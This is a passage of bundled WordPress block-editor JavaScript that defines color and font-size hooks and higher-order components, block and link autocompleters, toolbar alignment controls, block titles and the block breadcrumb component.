47055 const hasGradient = gradientClass || style?.color?.gradient;
47056 const className = dist_clsx(textClass, gradientClass, {
47057 // Don't apply the background class if there's a gradient.
47058 [backgroundClass]: !hasGradient && !!backgroundClass,
47059 "has-text-color": textColor || style?.color?.text,
47060 "has-background": backgroundColor || style?.color?.background || gradient || style?.color?.gradient,
47061 "has-link-color": style?.elements?.link?.color
47062 });
47063 const colorStyles = style?.color || {};
47064 const styleProp = getInlineStyles({ color: colorStyles });
47065 return {
47066 className: className || void 0,
47067 style: styleProp
47068 };
47069}
47070function useColorProps(attributes) {
47071 const { backgroundColor, textColor, gradient } = attributes;
47072 const [
47073 userPalette,
47074 themePalette,
47075 defaultPalette,
47076 userGradients,
47077 themeGradients,
47078 defaultGradients
47079 ] = use_settings_useSettings(
47080 "color.palette.custom",
47081 "color.palette.theme",
47082 "color.palette.default",
47083 "color.gradients.custom",
47084 "color.gradients.theme",
47085 "color.gradients.default"
47086 );
47087 const colors = (0,external_wp_element_namespaceObject.useMemo)(
47088 () => [
47089 ...userPalette || [],
47090 ...themePalette || [],
47091 ...defaultPalette || []
47092 ],
47093 [userPalette, themePalette, defaultPalette]
47094 );
47095 const gradients = (0,external_wp_element_namespaceObject.useMemo)(
47096 () => [
47097 ...userGradients || [],
47098 ...themeGradients || [],
47099 ...defaultGradients || []
47100 ],
47101 [userGradients, themeGradients, defaultGradients]
47102 );
47103 const colorProps = getColorClassesAndStyles(attributes);
47104 if (backgroundColor) {
47105 const backgroundColorObject = getColorObjectByAttributeValues(
47106 colors,
47107 backgroundColor
47108 );
47109 colorProps.style.backgroundColor = backgroundColorObject.color;
47110 }
47111 if (gradient) {
47112 colorProps.style.background = getGradientValueBySlug(
47113 gradients,
47114 gradient
47115 );
47116 }
47117 if (textColor) {
47118 const textColorObject = getColorObjectByAttributeValues(
47119 colors,
47120 textColor
47121 );
47122 colorProps.style.color = textColorObject.color;
47123 }
47124 return colorProps;
47125}
47126
47127
47128;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-spacing-props.js
47129
47130function getSpacingClassesAndStyles(attributes) {
47131 const { style } = attributes;
47132 const spacingStyles = style?.spacing || {};
47133 const styleProp = getInlineStyles({ spacing: spacingStyles });
47134 return {
47135 style: styleProp
47136 };
47137}
47138
47139
47140;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-typography-props.js
47141
47142
47143
47144
47145
47146
47147const { kebabCase: use_typography_props_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
47148function getTypographyClassesAndStyles(attributes, settings) {
47149 let typographyStyles = attributes?.style?.typography || {};
47150 typographyStyles = {
47151 ...typographyStyles,
47152 fontSize: getTypographyFontSizeValue(
47153 { size: attributes?.style?.typography?.fontSize },
47154 settings
47155 )
47156 };
47157 const style = getInlineStyles({ typography: typographyStyles });
47158 const fontFamilyClassName = !!attributes?.fontFamily ? `has-${use_typography_props_kebabCase(attributes.fontFamily)}-font-family` : "";
47159 const textAlignClassName = !!attributes?.style?.typography?.textAlign ? `has-text-align-${attributes?.style?.typography?.textAlign}` : "";
47160 const className = dist_clsx(
47161 fontFamilyClassName,
47162 textAlignClassName,
47163 getFontSizeClass(attributes?.fontSize)
47164 );
47165 return {
47166 className,
47167 style
47168 };
47169}
47170
47171
47172;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-cached-truthy.js
47173
47174function useCachedTruthy(value) {
47175 const [cachedValue, setCachedValue] = (0,external_wp_element_namespaceObject.useState)(value);
47176 (0,external_wp_element_namespaceObject.useEffect)(() => {
47177 if (value) {
47178 setCachedValue(value);
47179 }
47180 }, [value]);
47181 return cachedValue;
47182}
47183
47184
47185;// ./node_modules/@wordpress/block-editor/build-module/hooks/index.js
47186
47187
47188
47189
47190
47191
47192
47193
47194
47195
47196
47197
47198
47199
47200
47201
47202
47203
47204
47205
47206
47207
47208
47209
47210
47211
47212
47213
47214
47215
47216createBlockEditFilter(
47217 [
47218 align_default,
47219 text_align_default,
47220 anchor_default,
47221 custom_class_name_default,
47222 style_default,
47223 duotone_default,
47224 fit_text_default,
47225 position_default,
47226 layout_default,
47227 content_lock_ui_default,
47228 block_hooks_default,
47229 block_bindings_default,
47230 layout_child_default,
47231 allowed_blocks_default
47232 ].filter(Boolean)
47233);
47234createBlockListBlockFilter([
47235 align_default,
47236 text_align_default,
47237 background_default,
47238 style_default,
47239 color_default,
47240 dimensions_default,
47241 duotone_default,
47242 font_family_default,
47243 font_size_default,
47244 fit_text_default,
47245 border_default,
47246 position_default,
47247 block_style_variation_default,
47248 layout_child_default
47249]);
47250createBlockSaveFilter([
47251 align_default,
47252 text_align_default,
47253 anchor_default,
47254 aria_label_default,
47255 custom_class_name_default,
47256 border_default,
47257 fit_text_default,
47258 color_default,
47259 style_default,
47260 font_family_default,
47261 font_size_default
47262]);
47263
47264
47265
47266
47267
47268
47269
47270
47271
47272
47273
47274
47275
47276
47277
47278;// ./node_modules/@wordpress/block-editor/build-module/components/colors/with-colors.js
47279
47280
47281
47282
47283
47284
47285
47286const { kebabCase: with_colors_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
47287const upperFirst = ([firstLetter, ...rest]) => firstLetter.toUpperCase() + rest.join("");
47288const withCustomColorPalette = (colorsArray) => (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
47289 (WrappedComponent) => (props) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...props, colors: colorsArray }),
47290 "withCustomColorPalette"
47291);
47292const withEditorColorPalette = () => (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
47293 (WrappedComponent) => (props) => {
47294 const [userPalette, themePalette, defaultPalette] = use_settings_useSettings(
47295 "color.palette.custom",
47296 "color.palette.theme",
47297 "color.palette.default"
47298 );
47299 const allColors = (0,external_wp_element_namespaceObject.useMemo)(
47300 () => [
47301 ...userPalette || [],
47302 ...themePalette || [],
47303 ...defaultPalette || []
47304 ],
47305 [userPalette, themePalette, defaultPalette]
47306 );
47307 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...props, colors: allColors });
47308 },
47309 "withEditorColorPalette"
47310);
47311function createColorHOC(colorTypes, withColorPalette) {
47312 const colorMap = colorTypes.reduce((colorObject, colorType) => {
47313 return {
47314 ...colorObject,
47315 ...typeof colorType === "string" ? { [colorType]: with_colors_kebabCase(colorType) } : colorType
47316 };
47317 }, {});
47318 return (0,external_wp_compose_namespaceObject.compose)([
47319 withColorPalette,
47320 (WrappedComponent) => {
47321 return class extends external_wp_element_namespaceObject.Component {
47322 constructor(props) {
47323 super(props);
47324 this.setters = this.createSetters();
47325 this.colorUtils = {
47326 getMostReadableColor: this.getMostReadableColor.bind(this)
47327 };
47328 this.state = {};
47329 }
47330 getMostReadableColor(colorValue) {
47331 const { colors } = this.props;
47332 return getMostReadableColor(colors, colorValue);
47333 }
47334 createSetters() {
47335 return Object.keys(colorMap).reduce(
47336 (settersAccumulator, colorAttributeName) => {
47337 const upperFirstColorAttributeName = upperFirst(colorAttributeName);
47338 const customColorAttributeName = `custom${upperFirstColorAttributeName}`;
47339 settersAccumulator[`set${upperFirstColorAttributeName}`] = this.createSetColor(
47340 colorAttributeName,
47341 customColorAttributeName
47342 );
47343 return settersAccumulator;
47344 },
47345 {}
47346 );
47347 }
47348 createSetColor(colorAttributeName, customColorAttributeName) {
47349 return (colorValue) => {
47350 const colorObject = getColorObjectByColorValue(
47351 this.props.colors,
47352 colorValue
47353 );
47354 this.props.setAttributes({
47355 [colorAttributeName]: colorObject && colorObject.slug ? colorObject.slug : void 0,
47356 [customColorAttributeName]: colorObject && colorObject.slug ? void 0 : colorValue
47357 });
47358 };
47359 }
47360 static getDerivedStateFromProps({ attributes, colors }, previousState) {
47361 return Object.entries(colorMap).reduce(
47362 (newState, [colorAttributeName, colorContext]) => {
47363 const colorObject = getColorObjectByAttributeValues(
47364 colors,
47365 attributes[colorAttributeName],
47366 attributes[`custom${upperFirst(
47367 colorAttributeName
47368 )}`]
47369 );
47370 const previousColorObject = previousState[colorAttributeName];
47371 const previousColor = previousColorObject?.color;
47372 if (previousColor === colorObject.color && previousColorObject) {
47373 newState[colorAttributeName] = previousColorObject;
47374 } else {
47375 newState[colorAttributeName] = {
47376 ...colorObject,
47377 class: getColorClassName(
47378 colorContext,
47379 colorObject.slug
47380 )
47381 };
47382 }
47383 return newState;
47384 },
47385 {}
47386 );
47387 }
47388 render() {
47389 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47390 WrappedComponent,
47391 {
47392 ...{
47393 ...this.props,
47394 colors: void 0,
47395 ...this.state,
47396 ...this.setters,
47397 colorUtils: this.colorUtils
47398 }
47399 }
47400 );
47401 }
47402 };
47403 }
47404 ]);
47405}
47406function createCustomColorsHOC(colorsArray) {
47407 return (...colorTypes) => {
47408 const withColorPalette = withCustomColorPalette(colorsArray);
47409 return (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
47410 createColorHOC(colorTypes, withColorPalette),
47411 "withCustomColors"
47412 );
47413 };
47414}
47415function withColors(...colorTypes) {
47416 const withColorPalette = withEditorColorPalette();
47417 return (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
47418 createColorHOC(colorTypes, withColorPalette),
47419 "withColors"
47420 );
47421}
47422
47423
47424;// ./node_modules/@wordpress/block-editor/build-module/components/colors/index.js
47425
47426
47427
47428
47429;// ./node_modules/@wordpress/block-editor/build-module/components/gradients/index.js
47430
47431
47432;// ./node_modules/@wordpress/block-editor/build-module/components/font-sizes/font-size-picker.js
47433
47434
47435
47436function font_size_picker_FontSizePicker(props) {
47437 const [fontSizes, customFontSize] = use_settings_useSettings(
47438 "typography.fontSizes",
47439 "typography.customFontSize"
47440 );
47441 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47442 external_wp_components_namespaceObject.FontSizePicker,
47443 {
47444 ...props,
47445 fontSizes,
47446 disableCustomFontSizes: !customFontSize
47447 }
47448 );
47449}
47450var font_size_picker_default = font_size_picker_FontSizePicker;
47451
47452
47453;// ./node_modules/@wordpress/block-editor/build-module/components/font-sizes/with-font-sizes.js
47454
47455
47456
47457
47458
47459const DEFAULT_FONT_SIZES = [];
47460const with_font_sizes_upperFirst = ([firstLetter, ...rest]) => firstLetter.toUpperCase() + rest.join("");
47461var with_font_sizes_default = (...fontSizeNames) => {
47462 const fontSizeAttributeNames = fontSizeNames.reduce(
47463 (fontSizeAttributeNamesAccumulator, fontSizeAttributeName) => {
47464 fontSizeAttributeNamesAccumulator[fontSizeAttributeName] = `custom${with_font_sizes_upperFirst(fontSizeAttributeName)}`;
47465 return fontSizeAttributeNamesAccumulator;
47466 },
47467 {}
47468 );
47469 return (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
47470 (0,external_wp_compose_namespaceObject.compose)([
47471 (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
47472 (WrappedComponent) => (props) => {
47473 const [fontSizes] = use_settings_useSettings("typography.fontSizes");
47474 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47475 WrappedComponent,
47476 {
47477 ...props,
47478 fontSizes: fontSizes || DEFAULT_FONT_SIZES
47479 }
47480 );
47481 },
47482 "withFontSizes"
47483 ),
47484 (WrappedComponent) => {
47485 return class extends external_wp_element_namespaceObject.Component {
47486 constructor(props) {
47487 super(props);
47488 this.setters = this.createSetters();
47489 this.state = {};
47490 }
47491 createSetters() {
47492 return Object.entries(fontSizeAttributeNames).reduce(
47493 (settersAccumulator, [
47494 fontSizeAttributeName,
47495 customFontSizeAttributeName
47496 ]) => {
47497 const upperFirstFontSizeAttributeName = with_font_sizes_upperFirst(fontSizeAttributeName);
47498 settersAccumulator[`set${upperFirstFontSizeAttributeName}`] = this.createSetFontSize(
47499 fontSizeAttributeName,
47500 customFontSizeAttributeName
47501 );
47502 return settersAccumulator;
47503 },
47504 {}
47505 );
47506 }
47507 createSetFontSize(fontSizeAttributeName, customFontSizeAttributeName) {
47508 return (fontSizeValue) => {
47509 const fontSizeObject = this.props.fontSizes?.find(
47510 ({ size }) => size === Number(fontSizeValue)
47511 );
47512 this.props.setAttributes({
47513 [fontSizeAttributeName]: fontSizeObject && fontSizeObject.slug ? fontSizeObject.slug : void 0,
47514 [customFontSizeAttributeName]: fontSizeObject && fontSizeObject.slug ? void 0 : fontSizeValue
47515 });
47516 };
47517 }
47518 static getDerivedStateFromProps({ attributes, fontSizes }, previousState) {
47519 const didAttributesChange = (customFontSizeAttributeName, fontSizeAttributeName) => {
47520 if (previousState[fontSizeAttributeName]) {
47521 if (attributes[fontSizeAttributeName]) {
47522 return attributes[fontSizeAttributeName] !== previousState[fontSizeAttributeName].slug;
47523 }
47524 return previousState[fontSizeAttributeName].size !== attributes[customFontSizeAttributeName];
47525 }
47526 return true;
47527 };
47528 if (!Object.values(fontSizeAttributeNames).some(
47529 didAttributesChange
47530 )) {
47531 return null;
47532 }
47533 const newState = Object.entries(
47534 fontSizeAttributeNames
47535 ).filter(
47536 ([key, value]) => didAttributesChange(value, key)
47537 ).reduce(
47538 (newStateAccumulator, [
47539 fontSizeAttributeName,
47540 customFontSizeAttributeName
47541 ]) => {
47542 const fontSizeAttributeValue = attributes[fontSizeAttributeName];
47543 const fontSizeObject = utils_getFontSize(
47544 fontSizes,
47545 fontSizeAttributeValue,
47546 attributes[customFontSizeAttributeName]
47547 );
47548 newStateAccumulator[fontSizeAttributeName] = {
47549 ...fontSizeObject,
47550 class: getFontSizeClass(
47551 fontSizeAttributeValue
47552 )
47553 };
47554 return newStateAccumulator;
47555 },
47556 {}
47557 );
47558 return {
47559 ...previousState,
47560 ...newState
47561 };
47562 }
47563 render() {
47564 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47565 WrappedComponent,
47566 {
47567 ...{
47568 ...this.props,
47569 fontSizes: void 0,
47570 ...this.state,
47571 ...this.setters
47572 }
47573 }
47574 );
47575 }
47576 };
47577 }
47578 ]),
47579 "withFontSizes"
47580 );
47581};
47582
47583
47584;// ./node_modules/@wordpress/block-editor/build-module/components/font-sizes/index.js
47585
47586
47587
47588
47589
47590
47591;// ./node_modules/@wordpress/block-editor/build-module/autocompleters/block.js
47592
47593
47594
47595
47596
47597
47598
47599
47600
47601
47602const block_noop = () => {
47603};
47604const block_SHOWN_BLOCK_TYPES = 9;
47605function createBlockCompleter() {
47606 return {
47607 name: "blocks",
47608 className: "block-editor-autocompleters__block",
47609 triggerPrefix: "/",
47610 useItems(filterValue) {
47611 const { rootClientId, selectedBlockId, prioritizedBlocks } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
47612 const {
47613 getSelectedBlockClientId,
47614 getBlock,
47615 getBlockListSettings,
47616 getBlockRootClientId
47617 } = select(store);
47618 const { getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
47619 const selectedBlockClientId = getSelectedBlockClientId();
47620 const { name: blockName, attributes } = getBlock(
47621 selectedBlockClientId
47622 );
47623 const activeBlockVariation = getActiveBlockVariation(
47624 blockName,
47625 attributes
47626 );
47627 const _rootClientId = getBlockRootClientId(
47628 selectedBlockClientId
47629 );
47630 return {
47631 selectedBlockId: activeBlockVariation ? `${blockName}/${activeBlockVariation.name}` : blockName,
47632 rootClientId: _rootClientId,
47633 prioritizedBlocks: getBlockListSettings(_rootClientId)?.prioritizedInserterBlocks
47634 };
47635 }, []);
47636 const [items, categories, collections] = use_block_types_state_default(
47637 rootClientId,
47638 block_noop,
47639 true
47640 );
47641 const filteredItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
47642 const initialFilteredItems = !!filterValue.trim() ? searchBlockItems(
47643 items,
47644 categories,
47645 collections,
47646 filterValue
47647 ) : orderInserterBlockItems(
47648 orderBy(items, "frecency", "desc"),
47649 prioritizedBlocks
47650 );
47651 return initialFilteredItems.filter((item) => item.id !== selectedBlockId).slice(0, block_SHOWN_BLOCK_TYPES);
47652 }, [
47653 filterValue,
47654 selectedBlockId,
47655 items,
47656 categories,
47657 collections,
47658 prioritizedBlocks
47659 ]);
47660 const options = (0,external_wp_element_namespaceObject.useMemo)(
47661 () => filteredItems.map((blockItem) => {
47662 const { title, icon, isDisabled } = blockItem;
47663 return {
47664 key: `block-${blockItem.id}`,
47665 value: blockItem,
47666 label: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47667 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47668 block_icon_default,
47669 {
47670 icon,
47671 showColors: true
47672 },
47673 "icon"
47674 ),
47675 title
47676 ] }),
47677 isDisabled
47678 };
47679 }),
47680 [filteredItems]
47681 );
47682 return [options];
47683 },
47684 allowContext(before, after) {
47685 return !(/\S/.test(before) || /\S/.test(after));
47686 },
47687 getOptionCompletion(inserterItem) {
47688 const { name, initialAttributes, innerBlocks, syncStatus, blocks } = inserterItem;
47689 return {
47690 action: "replace",
47691 value: syncStatus === "unsynced" ? (blocks ?? []).map(
47692 (block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block)
47693 ) : (0,external_wp_blocks_namespaceObject.createBlock)(
47694 name,
47695 initialAttributes,
47696 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(
47697 innerBlocks
47698 )
47699 )
47700 };
47701 }
47702 };
47703}
47704var block_block_default = createBlockCompleter();
47705
47706
47707;// external ["wp","apiFetch"]
47708const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
47709var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
47710;// ./node_modules/@wordpress/icons/build-module/library/post.js
47711
47712
47713var post_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) });
47714
47715
47716;// ./node_modules/@wordpress/block-editor/build-module/autocompleters/link.js
47717
47718
47719
47720
47721
47722const SHOWN_SUGGESTIONS = 10;
47723function createLinkCompleter() {
47724 return {
47725 name: "links",
47726 className: "block-editor-autocompleters__link",
47727 triggerPrefix: "[[",
47728 options: async (letters) => {
47729 let options = await external_wp_apiFetch_default()({
47730 path: (0,external_wp_url_namespaceObject.addQueryArgs)("/wp/v2/search", {
47731 per_page: SHOWN_SUGGESTIONS,
47732 search: letters,
47733 type: "post",
47734 order_by: "menu_order"
47735 })
47736 });
47737 options = options.filter((option) => option.title !== "");
47738 return options;
47739 },
47740 getOptionKeywords(item) {
47741 const expansionWords = item.title.split(/\s+/);
47742 return [...expansionWords];
47743 },
47744 getOptionLabel(item) {
47745 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47746 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47747 icon_default,
47748 {
47749 icon: item.subtype === "page" ? page_default : post_default
47750 },
47751 "icon"
47752 ),
47753 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title)
47754 ] });
47755 },
47756 getOptionCompletion(item) {
47757 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: item.url, children: item.title });
47758 }
47759 };
47760}
47761var link_link_default = createLinkCompleter();
47762
47763
47764;// ./node_modules/@wordpress/block-editor/build-module/components/autocomplete/index.js
47765
47766
47767
47768
47769
47770
47771
47772
47773const autocomplete_EMPTY_ARRAY = [];
47774function useCompleters({ completers = autocomplete_EMPTY_ARRAY }) {
47775 const { name } = useBlockEditContext();
47776 return (0,external_wp_element_namespaceObject.useMemo)(() => {
47777 let filteredCompleters = [...completers, link_link_default];
47778 if (name === (0,external_wp_blocks_namespaceObject.getDefaultBlockName)() || (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, "__experimentalSlashInserter", false)) {
47779 filteredCompleters = [...filteredCompleters, block_block_default];
47780 }
47781 if ((0,external_wp_hooks_namespaceObject.hasFilter)("editor.Autocomplete.completers")) {
47782 if (filteredCompleters === completers) {
47783 filteredCompleters = filteredCompleters.map(
47784 (completer) => ({ ...completer })
47785 );
47786 }
47787 filteredCompleters = (0,external_wp_hooks_namespaceObject.applyFilters)(
47788 "editor.Autocomplete.completers",
47789 filteredCompleters,
47790 name
47791 );
47792 }
47793 return filteredCompleters;
47794 }, [completers, name]);
47795}
47796function useBlockEditorAutocompleteProps(props) {
47797 return (0,external_wp_components_namespaceObject.__unstableUseAutocompleteProps)({
47798 ...props,
47799 completers: useCompleters(props)
47800 });
47801}
47802function BlockEditorAutocomplete(props) {
47803 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Autocomplete, { ...props, completers: useCompleters(props) });
47804}
47805var autocomplete_default = BlockEditorAutocomplete;
47806
47807
47808;// ./node_modules/@wordpress/icons/build-module/library/fullscreen.js
47809
47810
47811var fullscreen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z" }) });
47812
47813
47814;// ./node_modules/@wordpress/block-editor/build-module/components/block-full-height-alignment-control/index.js
47815
47816
47817
47818
47819function BlockFullHeightAlignmentControl({
47820 isActive,
47821 label = (0,external_wp_i18n_namespaceObject.__)("Full height"),
47822 onToggle,
47823 isDisabled
47824}) {
47825 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47826 external_wp_components_namespaceObject.ToolbarButton,
47827 {
47828 isActive,
47829 icon: fullscreen_default,
47830 label,
47831 onClick: () => onToggle(!isActive),
47832 disabled: isDisabled
47833 }
47834 );
47835}
47836var block_full_height_alignment_control_default = BlockFullHeightAlignmentControl;
47837
47838
47839;// ./node_modules/@wordpress/block-editor/build-module/components/block-alignment-matrix-control/index.js
47840
47841
47842
47843
47844const block_alignment_matrix_control_noop = () => {
47845};
47846function BlockAlignmentMatrixControl(props) {
47847 const {
47848 label = (0,external_wp_i18n_namespaceObject.__)("Change matrix alignment"),
47849 onChange = block_alignment_matrix_control_noop,
47850 value = "center",
47851 isDisabled
47852 } = props;
47853 const icon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.AlignmentMatrixControl.Icon, { value });
47854 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47855 external_wp_components_namespaceObject.Dropdown,
47856 {
47857 popoverProps: { placement: "bottom-start" },
47858 renderToggle: ({ onToggle, isOpen }) => {
47859 const openOnArrowDown = (event) => {
47860 if (!isOpen && event.keyCode === external_wp_keycodes_namespaceObject.DOWN) {
47861 event.preventDefault();
47862 onToggle();
47863 }
47864 };
47865 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47866 external_wp_components_namespaceObject.ToolbarButton,
47867 {
47868 onClick: onToggle,
47869 "aria-haspopup": "true",
47870 "aria-expanded": isOpen,
47871 onKeyDown: openOnArrowDown,
47872 label,
47873 icon,
47874 showTooltip: true,
47875 disabled: isDisabled
47876 }
47877 );
47878 },
47879 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47880 external_wp_components_namespaceObject.AlignmentMatrixControl,
47881 {
47882 hasFocusBorder: false,
47883 onChange,
47884 value
47885 }
47886 )
47887 }
47888 );
47889}
47890var block_alignment_matrix_control_default = BlockAlignmentMatrixControl;
47891
47892
47893;// ./node_modules/@wordpress/block-editor/build-module/components/block-title/use-block-display-title.js
47894
47895
47896
47897function useBlockDisplayTitle({
47898 clientId,
47899 maximumLength,
47900 context
47901}) {
47902 const blockTitle = (0,external_wp_data_namespaceObject.useSelect)(
47903 (select) => {
47904 if (!clientId) {
47905 return null;
47906 }
47907 const { getBlockName, getBlockAttributes } = select(store);
47908 const { getBlockType, getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
47909 const blockName = getBlockName(clientId);
47910 const blockType = getBlockType(blockName);
47911 if (!blockType) {
47912 return null;
47913 }
47914 const attributes = getBlockAttributes(clientId);
47915 const label = (0,external_wp_blocks_namespaceObject.__experimentalGetBlockLabel)(blockType, attributes, context);
47916 if (label !== blockType.title) {
47917 return label;
47918 }
47919 const match = getActiveBlockVariation(blockName, attributes);
47920 return match?.title || blockType.title;
47921 },
47922 [clientId, context]
47923 );
47924 if (!blockTitle) {
47925 return null;
47926 }
47927 if (maximumLength && maximumLength > 0 && blockTitle.length > maximumLength) {
47928 const omission = "...";
47929 return blockTitle.slice(0, maximumLength - omission.length) + omission;
47930 }
47931 return blockTitle;
47932}
47933
47934
47935;// ./node_modules/@wordpress/block-editor/build-module/components/block-title/index.js
47936
47937function BlockTitle({ clientId, maximumLength, context }) {
47938 return useBlockDisplayTitle({ clientId, maximumLength, context });
47939}
47940
47941
47942;// ./node_modules/@wordpress/block-editor/build-module/utils/get-editor-region.js
47943function getEditorRegion(editor) {
47944 if (!editor) {
47945 return null;
47946 }
47947 const editorCanvas = Array.from(
47948 document.querySelectorAll('iframe[name="editor-canvas"]').values()
47949 ).find((iframe) => {
47950 const iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
47951 return iframeDocument === editor.ownerDocument;
47952 }) ?? editor;
47953 return editorCanvas?.closest('[role="region"]') ?? editorCanvas;
47954}
47955
47956
47957;// ./node_modules/@wordpress/block-editor/build-module/components/block-breadcrumb/index.js
47958
47959
47960
47961
47962
47963
47964
47965
47966
47967
47968
47969function BlockBreadcrumb({ rootLabelText }) {
47970 const { selectBlock, clearSelectedBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
47971 const { clientId, parents, hasSelection } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
47972 const {
47973 getSelectionStart,
47974 getSelectedBlockClientId,
47975 getEnabledBlockParents
47976 } = unlock(select(store));
47977 const selectedBlockClientId = getSelectedBlockClientId();
47978 return {
47979 parents: getEnabledBlockParents(selectedBlockClientId),
47980 clientId: selectedBlockClientId,
47981 hasSelection: !!getSelectionStart().clientId
47982 };
47983 }, []);
47984 const rootLabel = rootLabelText || (0,external_wp_i18n_namespaceObject.__)("Document");
47985 const blockRef = (0,external_wp_element_namespaceObject.useRef)();
47986 useBlockElementRef(clientId, blockRef);
47987 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
47988 "ul",
47989 {
47990 className: "block-editor-block-breadcrumb",
47991 role: "list",
47992 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Block breadcrumb"),
47993 children: [
47994 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
47995 "li",
47996 {
47997 className: !hasSelection ? "block-editor-block-breadcrumb__current" : void 0,
47998 "aria-current": !hasSelection ? "true" : void 0,
47999 children: [
48000 hasSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48001 external_wp_components_namespaceObject.Button,
48002 {
48003 size: "small",
48004 className: "block-editor-block-breadcrumb__button",
48005 onClick: () => {
48006 const blockEditor = blockRef.current?.closest(
48007 ".editor-styles-wrapper"
48008 );
48009 clearSelectedBlock();
48010 getEditorRegion(blockEditor)?.focus();
48011 },
48012 children: rootLabel
48013 }
48014 ),
48015 !hasSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: rootLabel }),
48016 !!clientId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48017 icon_default,
48018 {
48019 icon: chevron_right_small_default,
48020 className: "block-editor-block-breadcrumb__separator"
48021 }
48022 )
48023 ]
48024 }
48025 ),
48026 parents.map((parentClientId) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { children: [
48027 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48028 external_wp_components_namespaceObject.Button,
48029 {
48030 size: "small",
48031 className: "block-editor-block-breadcrumb__button",
48032 onClick: () => selectBlock(parentClientId),
48033 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48034 BlockTitle,
48035 {
48036 clientId: parentClientId,
48037 maximumLength: 35
48038 }
48039 )
48040 }
48041 ),
48042 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48043 icon_default,
48044 {
48045 icon: chevron_right_small_default,
48046 className: "block-editor-block-breadcrumb__separator"
48047 }
48048 )
48049 ] }, parentClientId)),
